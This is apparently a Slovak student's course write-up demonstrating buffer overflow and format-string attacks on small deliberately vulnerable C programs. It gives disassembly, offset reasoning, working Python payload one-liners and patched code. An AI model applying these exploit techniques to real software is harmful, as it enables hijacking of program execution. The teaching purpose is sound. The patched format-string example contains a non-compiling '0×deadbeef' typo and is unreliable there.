Úvod do počítačovej bezpečnosti

Zadanie 6 – Zraniteľnosti programov

Cieľom zadanie bolo oboznámiť sa s problematikou zraniteľnosti aplikácií a možnosťami detekcie daných zraniteľnosti.

Všetky ukážky, ktoré uvidíte boli vykonávane na Linuxe (výsledky [adresy, …] sa pri prípadnom testovaní môžu líšiť, no postupy by mali byť samozrejme rovnaké)

A.Buffer Overflow

Buffer overflow predstavuje zraniteľnosť v nízkoúrovňových jazykov ako C/C++. Útočník môže spôsobiť zlyhanie programu, poškodenie údajov, krádež súkromných informácii alebo aj spustiť vlastný kód. V zásade to znamená, že útočník je schopný získať prístup k ľubovoľnej pamäti mimo prideleného pamäťového priestoru.

Cieľom útoku je upraviť return adresu funkcie tak aby došlo k zavolaniu inej funkcie.

```c
#include <stdio.h>

void secretFunction()
{
    printf("Gratulujem!\n");
    printf("Dostali ste sa do tajnej funkcie!\n");
}

void echo()
{
    char buffer[20];

    printf("Zadajte nejaky text:\n");
    scanf("%s", buffer);
    printf("Zadali ste: %s\n", buffer);
}

int main(){

    echo();
    return 0;
}
```

Tento program môže na prvý pohlaď vyzerať bezpečne, ale v skutočnosti vieme zavolať secretFunction iba pomocou úpravy vstupov.

Postup útoku

Ako prvé je potrebne skompilovať náš kód

```
gcc BufferOverflow.c -o BufferOverflow -fno-stack-protector -m32
```

-fno-stack-protector - vypnutie ochrany zásobníka.
-m32 - skompilovaný binárny súbor bude 32 bitový (register bude mať 4 bajty/32 bitov)

Na prezretie si binárneho kódu použijeme príkaz

```
objdump -d BufferOverflow
```

Zaujímajú nás samozrejme len tie časti, ktoré prislúchajú našim funkciám (main(), echo(), secretFunction()).

```
00401410 <_secretFunction>:
  401410:       55                      push   %ebp
  401411:       89 e5                   mov    %esp,%ebp
  401413:       83 ec 18                sub    $0x18,%esp
  401416:       c7 04 24 44 50 40 00    movl   $0x405044,(%esp)
  40141d:       e8 1a 2a 00 00          call   403e3c <_puts>
  401422:       c7 04 24 50 50 40 00    movl   $0x405050,(%esp)
  401429:       e8 0e 2a 00 00          call   403e3c <_puts>
  40142e:       90                      nop
  40142f:       c9                      leave
  401430:       c3                      ret

00401431 <_echo>:
  401431:       55                      push   %ebp
  401432:       89 e5                   mov    %esp,%ebp
  401434:       83 ec 38                sub    $0x38,%esp
  401437:       c7 04 24 72 50 40 00    movl   $0x405072,(%esp)
  40143e:       e8 f9 29 00 00          call   403e3c <_puts>
  401443:       8d 45 e4                lea    -0x1c(%ebp),%eax
  401446:       89 44 24 04             mov    %eax,0x4(%esp)
  40144a:       c7 04 24 87 50 40 00    movl   $0x405087,(%esp)
  401451:       e8 de 29 00 00          call   403e34 <_scanf>
  401456:       8d 45 e4                lea    -0x1c(%ebp),%eax
  401459:       89 44 24 04             mov    %eax,0x4(%esp)
  40145d:       c7 04 24 8a 50 40 00    movl   $0x40508a,(%esp)
  401464:       e8 db 29 00 00          call   403e44 <_printf>
  401469:       90                      nop
  40146a:       c9                      leave
  40146b:       c3                      ret

0040146c <_main>:
  40146c:       55                      push   %ebp
  40146d:       89 e5                   mov    %esp,%ebp
  40146f:       83 e4 f0                and    $0xfffffff0,%esp
  401472:       e8 69 05 00 00          call   4019e0 <___main>
  401477:       e8 b5 ff ff ff          call   401431 <_echo>
  40147c:       b8 00 00 00 00          mov    $0x0,%eax
  401481:       c9                      leave
  401482:       c3                      ret
  401483:       90                      nop
  401484:       66 90                   xchg   %ax,%ax
  401486:       66 90                   xchg   %ax,%ax
  401488:       66 90                   xchg   %ax,%ax
  40148a:       66 90                   xchg   %ax,%ax
  40148c:       66 90                   xchg   %ax,%ax
  40148e:       66 90                   xchg   %ax,%ax
```

Trochu terminológie pre lepšie pochopenie postupu

- %eip: instruction pointer register. Ukladá adresu nasledujúcej inštrukcie, ktorá sa má vykonať
- %esp: stack pointer register. Ukladá adresu vrchnej časti zásobníka. To je adresa posledného prvku v zásobníku. Zásobník rastie v pamäti smerom nadol (z vyšších hodnôt adries na nižšie hodnoty adries) čiže %esp ukazuje na hodnotu v zásobníku na najnižšej adrese pamäte
- %ebp: base pointer register. Register %ebp sa zvyčajne nastaví na %esp na začiatku funkcie. To sa deje pre uchovanie parametrov funkcie ako aj lokálnych premenných. K lokálnym premenným sa pristupuje odpočítaním offsetu od %ebp a k parametrom funkcie sa pristupuje jeho pripočítaním

1. Môžeme si všimnúť, že adresa secretFunction je **00401410** (hex)

```
00401410 <_secretFunction>:
  401410:       55                      push   %ebp
  401411:       89 e5                   mov    %esp,%ebp
  401413:       83 ec 18                sub    $0x18,%esp
  401416:       c7 04 24 44 50 40 00    movl   $0x405044,(%esp)
  40141d:       e8 1a 2a 00 00          call   403e3c <_puts>
  401422:       c7 04 24 50 50 40 00    movl   $0x405050,(%esp)
  401429:       e8 0e 2a 00 00          call   403e3c <_puts>
  40142e:       90                      nop
  40142f:       c9                      leave
  401430:       c3                      ret
```

2. 38 (hex) alebo 56 (dec) bajtov je rezervovaných pre lokálnu premennú echo funkcie

```
00401431 <_echo>:
  401431:       55                      push   %ebp
  401432:       89 e5                   mov    %esp,%ebp
  401434:       83 ec 38                sub    $0x38,%esp
  401437:       c7 04 24 72 50 40 00    movl   $0x405072,(%esp)
  40143e:       e8 f9 29 00 00          call   403e3c <_puts>
  401443:       8d 45 e4                lea    -0x1c(%ebp),%eax
  401446:       89 44 24 04             mov    %eax,0x4(%esp)
  40144a:       c7 04 24 87 50 40 00    movl   $0x405087,(%esp)
  401451:       e8 de 29 00 00          call   403e34 <_scanf>
  401456:       8d 45 e4                lea    -0x1c(%ebp),%eax
  401459:       89 44 24 04             mov    %eax,0x4(%esp)
  40145d:       c7 04 24 8a 50 40 00    movl   $0x40508a,(%esp)
  401464:       e8 db 29 00 00          call   403e44 <_printf>
  401469:       90                      nop
  40146a:       c9                      leave
  40146b:       c3                      ret
```

3. Adresa buffera začína 1c (hex) alebo 28 (dec) bajtov pred %ebp, to znamená, že 28 bajtov je rezervovaných pre buffer aj napriek tomu, že v kóde sme si vypýtali len 20

```
00401431 <_echo>:
  401431:       55                      push   %ebp
  401432:       89 e5                   mov    %esp,%ebp
  401434:       83 ec 38                sub    $0x38,%esp
  401437:       c7 04 24 72 50 40 00    movl   $0x405072,(%esp)
  40143e:       e8 f9 29 00 00          call   403e3c <_puts>
  401443:       8d 45 e4                lea    -0x1c(%ebp),%eax
  401446:       89 44 24 04             mov    %eax,0x4(%esp)
  40144a:       c7 04 24 87 50 40 00    movl   $0x405087,(%esp)
  401451:       e8 de 29 00 00          call   403e34 <_scanf>
  401456:       8d 45 e4                lea    -0x1c(%ebp),%eax
  401459:       89 44 24 04             mov    %eax,0x4(%esp)
  40145d:       c7 04 24 8a 50 40 00    movl   $0x40508a,(%esp)
  401464:       e8 db 29 00 00          call   403e44 <_printf>
  401469:       90                      nop
  40146a:       c9                      leave
  40146b:       c3                      ret
```

Teraz vieme, že 28 bajtov je rezervovaných pre zásobník, ktorý je hneď vedľa %ebp (ukazovateľ main funkcie), preto ďalšie 4 bajty budú uchovávať %ebp a ďalšie 4 bajty budú uchovávať return adresu (adresu, na ktorú %eip skočí po dokončení funkcie).
Na základe týchto zistení môžem povedať, že na to aby bol náš útok úspešný potrebujeme aby 28 + 4 = 32 bajtov boli ľubovoľné znaky a ďalšie 4 bajty adresa našej secretFunction.

Na vytvorenie potrebného vstupu použijeme jednoduchý python script.

```
python -c "print 'a'*32 + '\x10\x14\x40\x00'" | ./BufferOverflow
```

```
Zadajte nejaky text:
Zadali ste: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa►¶@
Gratulujem!
Dostali ste sa do tajnej funkcie!
```

Po spustení môžeme vidieť, že sa nám podaril buffer overflow a dokázali sme vďaka nemu upraviť return adresu tak aby sa zavolala secretFunction.

Ako kód ochrániť pred buffer overflow?

Nastavením limitu koľko znakov sa môže maximálne načítať na základe veľkosti použitého buffera. V našom konkrétnom príklade to znamená nahradiť
`scanf("%s", buffer); -> scanf("%19s", buffer);`

Náš buffer ma veľkosť 20, no limit sme nastavili na 19, pretože reťazce v C potrebujú na označenie konca pripojiť `'\0'`

```c
#include <stdio.h>

void secretFunction()
{
    printf("Gratulujem!\n");
    printf("Dostali ste sa do tajnej funkcie!\n");
}

void echo()
{
    char buffer[20];

    printf("Zadajte nejaky text:\n");
    scanf("%19s", buffer);
    printf("Zadali ste: %s\n", buffer);
}

int main(){

    echo();
    return 0;
}
```

Po ošetrení zraniteľnosti už nie je ďalej možné upraviť return adresu tak aby sa zavolala secretFunction.

Po opätovnom spustení python scriptu už aplikácia vypíše len 19-krat `"a"` a akékoľvek ďalšie znaky odignoruje.

```
Zadajte nejaky text:
Zadali ste: aaaaaaaaaaaaaaaaaaa
```

B. Format String

Format String predstavuje zraniteľnosť kedy aplikácia vyhodnotí dáta vstupného reťazca ako príkaz. Útočník tak môže narušiť bezpečnosť a stabilitu aplikácie, spustiť kód, prečítať zásobník alebo spôsobiť aj kompletné zlyhanie programu

Cieľom útoku je zmeniť hodnotu premennej **target** na hodnotu **0xdeadbeef**

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void secretFunction()
{
    printf("Gratulujem!\n");
    printf("Dostali ste sa do tajnej funkcie!\n");
}

void vuln(char *string)
{
    volatile int target;
    char buffer[64];

    target = 0;

    sprintf(buffer ,string);

    if(target == 0xdeadbeef) {
        secretFunction();
    }
}

int main(int argc, char **argv)
{
    vuln(argv[1]);
}
```

Postup útoku

Postup je do istej miery podobný predchádzajúcemu príkladu -> skompilovanie, vypísanie si binárneho súboru a jeho analýza. Následne je potrebne zistiť offset ktorý musíme poskytnúť na vstupe aby sme vedeli prepísať hodnotu premennej target a zavolať tak secretFunction.

```
000011e5 <vuln>:
    11e5:       55                      push   %ebp
    11e6:       89 e5                   mov    %esp,%ebp
    11e8:       53                      push   %ebx
    11e9:       83 ec 54                sub    $0x54,%esp
    11ec:       e8 73 00 00 00          call   1264 <__x86.get_pc_thunk.ax>
    11f1:       05 0f 2e 00 00          add    $0x2e0f,%eax
    11f6:       c7 45 f4 00 00 00 00    movl   $0x0,-0xc(%ebp)
    11fd:       83 ec 08                sub    $0x8,%esp
    1200:       ff 75 08                pushl  0x8(%ebp)
    1203:       8d 55 b4                lea    -0x4c(%ebp),%edx
    1206:       52                      push   %edx
    1207:       89 c3                   mov    %eax,%ebx
    1209:       e8 42 fe ff ff          call   1050 <sprintf@plt>
    120e:       83 c4 10                add    $0x10,%esp
    1211:       8b 45 f4                mov    -0xc(%ebp),%eax
    1214:       3d ef be ad de          cmp    $0xdeadbeef,%eax   porovnanie targetu s adresou
    1219:       75 05                   jne    1220 <vuln+0x3b>   Ak sa nerovnajú
    121b:       e8 89 ff ff ff          call   11a9 <secretFunction>   Zavolanie secretFunction
    1220:       90                      nop                       Ak sa rovnajú
    1221:       8b 5d fc                mov    -0x4(%ebp),%ebx
    1224:       c9                      leave
    1225:       c3                      ret
```

Hľadanie offsetu je možné metódou pokus omyl alebo pomocou GDB – debuger ktorý Vám môže byť povedomý z predmetu Operačné systémy preto si dovolím tento krok preskočiť aby som zachoval kompaktnosť dokumentu.

Po chvíľke hľadania som zistil, že náš buffer offset je 64. Teraz nám už stačí len pridať `0xdeadbeef` za offset, čo spôsobí, že keď dôjde k porovnaniu vráti sa hodnota True a bude zavolaná secretFunction.

```
python -c "print '%64d\xef\xbe\xad\xde'" | xargs ./FormatString
```

```
Gratulujem!
Dostali ste sa do tajnej funkcie!
```

Ako kód ochrániť pred Format String?

Používanie **Format String Pattern** ako %x, %s a tiež aj nastavením limitu koľko znakov sa môže maximálne zapísať na základe veľkosti použitého buffera. V našom konkrétnom príklade to znamená nahradiť
`sprintf(buffer, string) -> sprintf(buffer, "%63s", string);`

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void secretFunction()
{
    printf("Gratulujem!\n");
    printf("Dostali ste sa do tajnej funkcie!\n");
}

void vuln(char *string)
{
    volatile int target;
    char buffer[64];

    target = 0;

    sprintf(buffer,"%63s" ,string);

    if(target == 0×deadbeef) {
        secretFunction();
    }
}

int main(int argc, char **argv)
{
    vuln(argv[1]);
}
```

Po ošetrení zraniteľnosti už nie je ďalej možné zmeniť hodnotu premennej targe čo znamená, že secretFuction sa už nezavolá lebo podmienka bude False.